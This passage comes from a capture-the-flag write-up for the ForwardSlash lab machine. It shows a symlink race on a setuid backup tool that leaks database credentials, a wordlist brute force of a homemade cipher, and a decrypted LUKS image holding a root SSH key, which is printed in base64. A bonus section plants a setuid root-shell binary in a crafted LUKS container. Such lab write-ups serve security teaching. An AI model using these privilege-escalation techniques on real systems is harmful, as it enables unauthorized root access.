setgid(__gid);
remove(local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
Ghidra
has decompiled the main function and we can see that it tries to read a file with filename stored in local_58
and the error message we got earlier when we ran this application.
chiv@forwardslash:~$ find / -user pain -ls 2>/dev/null
132024 4 -rw------- 1 pain pain 526 Jun 21 2019 /var/backups/config.php.bak
804211 16 -r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 /usr/bin/backup
786635 4 drwxr-xr-x 7 pain pain 4096 Mar 17 20:28 /home/pain
787494 0 lrwxrwxrwx 1 pain root 9 Mar 6 09:43 /home/pain/.bash_history -> /dev/null
787487 4 drwx------ 2 pain pain 4096 Mar 5 14:22 /home/pain/.cache
786737 4 -rw-r--r-- 1 pain pain 807 Apr 4 2018 /home/pain/.profile
804212 4 -rw------- 1 pain pain 33 Jul 8 07:14 /home/pain/user.txt
787275 4 drwx------ 3 pain pain 4096 Mar 5 14:22 /home/pain/.gnupg
787094 4 -rw-r--r-- 1 pain pain 3771 Apr 4 2018 /home/pain/.bashrc
1192542 4 drwxrwxr-x 3 pain pain 4096 Mar 6 14:23 /home/pain/.local
1192543 4 drwx------ 3 pain pain 4096 Mar 6 14:23 /home/pain/.local/share
787097 4 -rw-r--r-- 1 pain pain 220 Apr 4 2018 /home/pain/.bash_logout
804214 4 drwx------ 2 pain pain 4096 Mar 17 20:29 /home/pain/.ssh
400803 4 drwxr-xr-x 2 pain root 4096 Mar 24 12:06 /home/pain/encryptorinator
404159 4 -rw-r--r-- 1 pain root 931 Jun 3 2019 /home/pain/encryptorinator/encrypter.py
404160 4 -rw-r--r-- 1 pain root 165 Jun 3 2019 /home/pain/encryptorinator/ciphertext
404161 4 -rw-r--r-- 1 pain root 256 Jun 3 2019 /home/pain/note.txt
We can see that the user pain
can read /var/backups/config.php.bak
while the current chiv
user can’t read this file.
chiv@forwardslash:~$ filename=$(backup | tail -1 | awk '{print $2}'); ln -s /var/backups/config.php.bak ./$filename; backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 12:29:33
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
Running the backup program is fast so we can do it multiple times in a second. The filename it tries to read is based on the time in seconds so we can use tail -1
to only get the last line of the output and awk '{print $2}'
to only get the hash/filename. We use ln -s
to create a symbolic link resulting in the expected filename to link to /var/backups/config.php.bak
which can be read by pain
.
luc@kali:~/HTB/ForwardSlash$ ssh pain@forwardslash.htb
pain@forwardslash.htb's password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 8 12:35:10 UTC 2020
System load: 0.0 Processes: 173
Usage of /: 32.9% of 19.56GB Users logged in: 1
Memory usage: 28% IP address for ens33: 10.10.10.183
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
16 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Mar 5 14:22:04 2020 from 192.168.56.1
pain@forwardslash:~$ cat user.txt
8bafa9c8************************
pain@forwardslash:~$ id
uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)
Pain -> root
pain@forwardslash:~$ ls
encryptorinator note.txt user.txt
pain@forwardslash:~$ cat note.txt
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv
pain@forwardslash:~$ ls encryptorinator/
ciphertext encrypter.py
pain@forwardslash:~$ cat encryptorinator/encrypter.py
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
pain@forwardslash:~$ file encryptorinator/ciphertext
encryptorinator/ciphertext: data
pain@forwardslash:~$ xxd encryptorinator/ciphertext
00000000: cbd7 a39b 1a94 2c4c f60a 3e05 bc32 58d5 ......,L..>..2X.
00000010: a20b 8a0d 7c8a 3f00 49c7 29f1 4583 2d97 ....|.?.I.).E.-.
00000020: cb92 5c2f 3bc3 c7b2 79c6 5b77 234d 9215 ..\/;...y.[w#M..
00000030: f732 ca1b d17e 90e7 5912 4027 b6e7 bc98 .2...~..Y.@'....
00000040: 8a85 e6b3 a32c 0588 ebdb f450 99ba 4004 .....,.....P..@.
00000050: 3586 c066 24f9 5c2a 0172 a277 467f ba92 5..f$.\*.r.wF...
00000060: 33b8 67ef 58bf 7dc9 6936 f0b4 8bf4 7edf 3.g.X.}.i6....~.
00000070: 4b8b a959 f0c5 8ea5 91ff 2718 2581 bf65 K..Y......'.%..e
00000080: e01f 3ee0 ae78 dd6f e41f 2b67 dc19 2fb1 ..>..x.o..+g../.
00000090: 4bac 063e ff5e ddcb 56a5 f71d e208 4eb0 K..>.^..V.....N.
000000a0: 6b8a bf65 0a k..e.
We’ll need to find the key to decrypt ciphertext
.
luc@kali:~/HTB/ForwardSlash$ mkdir encryptorinator
luc@kali:~/HTB/ForwardSlash$ cd encryptorinator/
luc@kali:~/HTB/ForwardSlash/encryptorinator$ scp pain@forwardslash.htb:/home/pain/encryptorinator/* .
pain@forwardslash.htb's password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
ciphertext 100% 165 11.6KB/s 00:00
encrypter.py 100% 931 70.3KB/s 00:00
We transfer the ciphertext
and encrypter.py
to our local machine.
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
ciphertext = open('ciphertext', 'r').read().rstrip()
with open('/usr/share/wordlists/rockyou.txt', 'r') as passwordFile:
for password in passwordFile:
password = password.strip()
decrypted = decrypt(password, ciphertext)
if 'the' in decrypted or 'you' in decrypted or 'and' in decrypted:
print 'Password: ' + password + '\nDecrypted: ' + decrypted
We go over the entire rockyou
wordlist and we print every password and message where the
, you
or and
shows up in the decrypted text because it’s quite likely they will only show in valid results.
luc@kali:~/HTB/ForwardSlash/encryptorinator$ python encrypter.py
Password: teamareporsiempre
Decrypted: H[2fv/vXLlyyou liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
Password: the rock you team
Decrypted: HZYRK`}jyou liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
...
Running this brute force code gives multiple results and shows the dangers of using your own crypto instead of tested libraries. We now have a password to decrypt an encypted image in the /var/backups/recovery/
directory.
pain@forwardslash:~$ ls /var/backups/recovery/
encrypted_backup.img
pain@forwardslash:~$ file /var/backups/recovery/encrypted_backup.img
/var/backups/recovery/encrypted_backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: f2a0906a-c412-48db-8c18-3b72443c1bdf
pain@forwardslash:~$ sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
/var/backups/recovery/encrypted_backup.img
is a LUKS encrypted file and pain
can run 3 commands as root.
pain@forwardslash:~$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img: cB!6%sdH8Lj^@Y*$C2cf
pain@forwardslash:~$ mkdir mnt
pain@forwardslash:~$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:~$ ls mnt/
id_rsa
pain@forwardslash:~$ base64 mnt/id_rsa -w 0;echo
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBOWkvcjhWR29mMXZwSVY2cmhORTloWmZCRGQzdTZTMTZ1TllxTG4reEZnWkVRQlpLClJLaCtXRHlrdi9ndWt2VVNhdXhXSm5kUHEzRjFDazB4YmNHUXU2KzFPQlliK2ZRMEI4cmFDUmp3dHdZRjRnYWYKeUxGY09TMTExbUttVUlCOXFSMXdEc21LUmJ0V1BQUHZnczJydWFmZ2VpSHVqSUVraVVVazlmM1dUTnFVc1BRYwp1MkFHLy9aQ2lxS1djV24wQ2NDMkVoV3NSUWhMT3ZoM3BHZnY0Z2cwR2cvVk5OaU1QakRBWW5yNGlWZzRYeUV1Ck5XUzJ4OVB0UGFzV3NXUlBMTUVQdHpMaEpPbkhFM2lWSnVUbkZGaHAyVDZDdG1adWk0VEpIM3BpajZ3WVlpczkKTXF6VG1Gd056engySEtTMnRFMnR5MmMxQ2NXK0YzR1Mvcm4wRVFJREFRQUJBb0lCQVFDUGZqa2c3RDZ4RlNwYQpWK3JUUEg2R2VvQjlDNm13WWVEUkVZdCtsTkRzREhVRmdiaUNNaytLTUxhNmFmY0RrekxML2JydEtzZldId2hnCkc4USt1LzhYVm4vakZBZjBkZUZKMVhPbXI5SEdiQTFMeEI2b0JMRERadnJ6SFliaER6T3ZPY2hSNWlqaElpTk8KM2NQeDB0MVFGa2lpQjFzYXJEOVdmMlhldDdpTURBckpJOTRHN3lmbmZVZWd0QzV5MzhsaUpkYjJUQlh3dklaQwp2Uk9YWmlRZG1XQ1BFbXd1RTBhRGo0SHFtSnZuSXg5UDRFQWNUV3VZMExkVVUzelpjRmdZbFhpWVQweGcyTjFwCk1JckFqamhnclEzQTJrWHl4aDlwenhzRmx2SWFTZnhBdnNMOExReTJPc2wraTgwV2FPUnlrbXlGeTVybU5MUUQKSWgwY2l6YjlBb0dCQVAyK1BEMm5WOHkyMGtGNlUwK0psd01HN1diVi9yREY2K2tWbjBNMnNmUUtpQUlVSzNXbgo1WUNlR0FSck1kWnI0ZmlkVE43a29rZTAyTTRlblNIRWRaUlRXMmpSWGxLZllIcVNvVnpMZ2duS1ZVL2VnaFFzClY0Z3Y2K2NjNzg3SG9qdHVVN0VlNjZlV2owVlNyMFBYakZJbnpkU2RtbmQ5M29EWlB6d0Y4UVVuQW9HQkFQaGcKZTFWYUhHODlFNFlXTnhiZnI3Mzl0NXFQdWl6UEpZN2ZJQk92OVowRytQNUtDdEhKQTV1eHBFTHJGM2hRakpVOAo2T3J6LzBDK1R4bWxUR1ZPdmtRV2lqNEdDOXJjT01hUDAzelhhbVFUU0dOUk9NK1MxSTlVVW9RQnJ3ZTJuUWVoCmkyQi9BbE80UHJPSEp0ZlNYSXpzZWRtRE5Mb01xTzUvbi94QXFMQUhBb0dBVG52OENCbnR0MTFKRllXdnBTZHEKdFQzOFNsV2dqSzc3ZEVJQzIvaGIvSjhSU0l0U2tmYlhydnUzZEE1d0FPR25xSTJIREY1dHIzNUpuUitzL0pmVwp3b1V4L2U3Y25QTzlGTXlyNnBicjV2bFZmL25VQkVkZTM3bnEzclo5bWxqM1hpaVc3RzhpOXRoRUFtNDcxZUVpCi92cGUyUWZTa21rMVhHZFYvc3ZicS9zQ2dZQVo2RloxRExVeWxUaFlJREVXM2JaREp4ZmpzMkpFRWtka283bUEKMURYV2IwZkJubytLV21GWitDbWVJVStOYVRtQXg1MjBCRWQzeFdJUzFyOGxRaFZ1bkx0R3hQS3ZuWkQraFRvVwpKNUlkWmpXQ3hwSWFkTUpmUVBocWRKS0JSM2NSdUxRRkdMcHhhU0tCTDNQSngxT0lENUtXTWExcVNxL0VVT09yCk9FTmdPUUtCZ0QvbVlnUFNtYnFwTlpJMC9CKzZ1YTlrUUpBSDZKUzQ0dit5RmtIZk5UVzBNN1VJalU3d2tHUXcKZGRNTmpocHdWWjMvL0c2VWhXU29qVVNjUVRFUkFOdDhSK0o2ZFIwWWZQekhuc0RJb1JjN0lBQlFteHh5Z1hEbwpab1lEemxQQWx3Sm1vUFFYYXVSbDFDZ2pseUhyVlVUZlMwQWtRSDJaYnF2SzUvTWV0cThvCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
luc@kali:~/HTB/ForwardSlash$ echo 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBOWkvcjhWR29mMXZwSVY2cmhORTloWmZCRGQzdTZTMTZ1TllxTG4reEZnWkVRQlpLClJLaCtXRHlrdi9ndWt2VVNhdXhXSm5kUHEzRjFDazB4YmNHUXU2KzFPQlliK2ZRMEI4cmFDUmp3dHdZRjRnYWYKeUxGY09TMTExbUttVUlCOXFSMXdEc21LUmJ0V1BQUHZnczJydWFmZ2VpSHVqSUVraVVVazlmM1dUTnFVc1BRYwp1MkFHLy9aQ2lxS1djV24wQ2NDMkVoV3NSUWhMT3ZoM3BHZnY0Z2cwR2cvVk5OaU1QakRBWW5yNGlWZzRYeUV1Ck5XUzJ4OVB0UGFzV3NXUlBMTUVQdHpMaEpPbkhFM2lWSnVUbkZGaHAyVDZDdG1adWk0VEpIM3BpajZ3WVlpczkKTXF6VG1Gd056engySEtTMnRFMnR5MmMxQ2NXK0YzR1Mvcm4wRVFJREFRQUJBb0lCQVFDUGZqa2c3RDZ4RlNwYQpWK3JUUEg2R2VvQjlDNm13WWVEUkVZdCtsTkRzREhVRmdiaUNNaytLTUxhNmFmY0RrekxML2JydEtzZldId2hnCkc4USt1LzhYVm4vakZBZjBkZUZKMVhPbXI5SEdiQTFMeEI2b0JMRERadnJ6SFliaER6T3ZPY2hSNWlqaElpTk8KM2NQeDB0MVFGa2lpQjFzYXJEOVdmMlhldDdpTURBckpJOTRHN3lmbmZVZWd0QzV5MzhsaUpkYjJUQlh3dklaQwp2Uk9YWmlRZG1XQ1BFbXd1RTBhRGo0SHFtSnZuSXg5UDRFQWNUV3VZMExkVVUzelpjRmdZbFhpWVQweGcyTjFwCk1JckFqamhnclEzQTJrWHl4aDlwenhzRmx2SWFTZnhBdnNMOExReTJPc2wraTgwV2FPUnlrbXlGeTVybU5MUUQKSWgwY2l6YjlBb0dCQVAyK1BEMm5WOHkyMGtGNlUwK0psd01HN1diVi9yREY2K2tWbjBNMnNmUUtpQUlVSzNXbgo1WUNlR0FSck1kWnI0ZmlkVE43a29rZTAyTTRlblNIRWRaUlRXMmpSWGxLZllIcVNvVnpMZ2duS1ZVL2VnaFFzClY0Z3Y2K2NjNzg3SG9qdHVVN0VlNjZlV2owVlNyMFBYakZJbnpkU2RtbmQ5M29EWlB6d0Y4UVVuQW9HQkFQaGcKZTFWYUhHODlFNFlXTnhiZnI3Mzl0NXFQdWl6UEpZN2ZJQk92OVowRytQNUtDdEhKQTV1eHBFTHJGM2hRakpVOAo2T3J6LzBDK1R4bWxUR1ZPdmtRV2lqNEdDOXJjT01hUDAzelhhbVFUU0dOUk9NK1MxSTlVVW9RQnJ3ZTJuUWVoCmkyQi9BbE80UHJPSEp0ZlNYSXpzZWRtRE5Mb01xTzUvbi94QXFMQUhBb0dBVG52OENCbnR0MTFKRllXdnBTZHEKdFQzOFNsV2dqSzc3ZEVJQzIvaGIvSjhSU0l0U2tmYlhydnUzZEE1d0FPR25xSTJIREY1dHIzNUpuUitzL0pmVwp3b1V4L2U3Y25QTzlGTXlyNnBicjV2bFZmL25VQkVkZTM3bnEzclo5bWxqM1hpaVc3RzhpOXRoRUFtNDcxZUVpCi92cGUyUWZTa21rMVhHZFYvc3ZicS9zQ2dZQVo2RloxRExVeWxUaFlJREVXM2JaREp4ZmpzMkpFRWtka283bUEKMURYV2IwZkJubytLV21GWitDbWVJVStOYVRtQXg1MjBCRWQzeFdJUzFyOGxRaFZ1bkx0R3hQS3ZuWkQraFRvVwpKNUlkWmpXQ3hwSWFkTUpmUVBocWRKS0JSM2NSdUxRRkdMcHhhU0tCTDNQSngxT0lENUtXTWExcVNxL0VVT09yCk9FTmdPUUtCZ0QvbVlnUFNtYnFwTlpJMC9CKzZ1YTlrUUpBSDZKUzQ0dit5RmtIZk5UVzBNN1VJalU3d2tHUXcKZGRNTmpocHdWWjMvL0c2VWhXU29qVVNjUVRFUkFOdDhSK0o2ZFIwWWZQekhuc0RJb1JjN0lBQlFteHh5Z1hEbwpab1lEemxQQWx3Sm1vUFFYYXVSbDFDZ2pseUhyVlVUZlMwQWtRSDJaYnF2SzUvTWV0cThvCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==' | base64 -d > id_rsa
luc@kali:~/HTB/ForwardSlash$ chmod 600 id_rsa
luc@kali:~/HTB/ForwardSlash$ ssh -i id_rsa root@forwardslash.htb
load pubkey "id_rsa": invalid format
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 8 13:37:18 UTC 2020
System load: 0.0 Processes: 193
Usage of /: 32.9% of 19.56GB Users logged in: 1
Memory usage: 29% IP address for ens33: 10.10.10.183
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
16 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3
root@forwardslash:~# id
uid=0(root) gid=0(root) groups=0(root)
root@forwardslash:~# cat /root/root.txt
0f94634e************************
TL;DR
- File inclusion shows source code and credentials
- User can run custom application as another user resulting in config file with credentials
- Brute force encryption results in key which decrypts file containing root id_rsa
Bonus
Unintended root from pain
It’s possible to create a luks encrypted file with a setuid binary which will give us root
access on the machine from the pain
account.
luc@kali:~/HTB/ForwardSlash$ mkdir luks
luc@kali:~/HTB/ForwardSlash$ cd luks/
luc@kali:~/HTB/ForwardSlash/luks$ dd if=/dev/zero of=container.luks bs=1M count=25
25+0 records in
25+0 records out
26214400 bytes (26 MB, 25 MiB) copied, 0.049814 s, 526 MB/s
luc@kali:~/HTB/ForwardSlash/luks$ xxd container.luks
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...
018fffc0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
018fffd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
018fffe0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
018ffff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
We create an empty 25MB file.
luc@kali:~/HTB/ForwardSlash/luks$ sudo cryptsetup luksFormat container.luks
WARNING!
========
This will overwrite data on container.luks irrevocably.
Are you sure? (Type 'yes' in capital letters): YES
Enter passphrase for container.luks: password
Verify passphrase: password
luc@kali:~/HTB/ForwardSlash/luks$ sudo cryptsetup luksOpen container.luks exploit
Enter passphrase for container.luks: password
luc@kali:~/HTB/ForwardSlash/luks$ sudo mkfs.ext4 /dev/mapper/exploit
mke2fs 1.45.6 (20-Mar-2020)
Creating filesystem with 9216 1k blocks and 2304 inodes
Filesystem UUID: f8fb641a-7e84-4ff5-9ad7-b40fb70598ba
Superblock backups stored on blocks:
8193
Allocating group tables: done
Writing inode tables: done
Creating journal (1024 blocks): done
Writing superblocks and filesystem accounting information: done
luc@kali:~/HTB/ForwardSlash/luks$ sudo mount /dev/mapper/exploit /mnt
We’ve now created the file system and mounted it on our local machine.
luc@kali:~/HTB/ForwardSlash/luks$ nano setuid.c
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0);
}
luc@kali:~/HTB/ForwardSlash/luks$ sudo gcc setuid.c -o setuid
luc@kali:~/HTB/ForwardSlash/luks$ ./setuid
$ id
uid=1000(luc) gid=1000(luc) groups=1000(luc),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),133(scanner)
$ exit
luc@kali:~/HTB/ForwardSlash/luks$ sudo chmod 4755 setuid
luc@kali:~/HTB/ForwardSlash/luks$ ./setuid
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),133(scanner),1000(luc)
# exit
luc@kali:~/HTB/ForwardSlash/luks$ sudo cp setuid /mnt/
luc@kali:~/HTB/ForwardSlash/luks$ sudo chmod 4755 /mnt/setuid
We’ve created an application that executes /bin/sh
as root and we’ve copied that to /mnt
.
luc@kali:~/HTB/ForwardSlash/luks$ sudo umount /mnt
luc@kali:~/HTB/ForwardSlash/luks$ sudo cryptsetup luksClose exploit
luc@kali:~/HTB/ForwardSlash/luks$ file container.luks
container.luks: LUKS encrypted file, ver 2 [, , sha256] UUID: bd8ea3ab-cd8f-4307-b649-e592af8b1e8b
Now container.luks
is an encrypted file with our setuid
binary.
luc@kali:~/HTB/ForwardSlash/luks$ scp container.luks pain@forwardslash.htb:/home/pain/
pain@forwardslash.htb's password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
container.luks 100% 25MB 7.6MB/s 00:03
pain@forwardslash:~$ ls
container.luks encryptorinator mnt note.txt user.txt
pain@forwardslash:~$ sudo /sbin/cryptsetup luksOpen container.luks backup
Enter passphrase for container.luks: password
pain@forwardslash:~$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:~$ ls mnt/
lost+found setuid
pain@forwardslash:~$ mnt/setuid
# id
uid=0(root) gid=0(root) groups=0(root),1000(pain),1002(backupoperator)
# wc /root/root.txt
1 1 33 /root/root.txt
This way we get root
on the machine without having to deal with the encryption.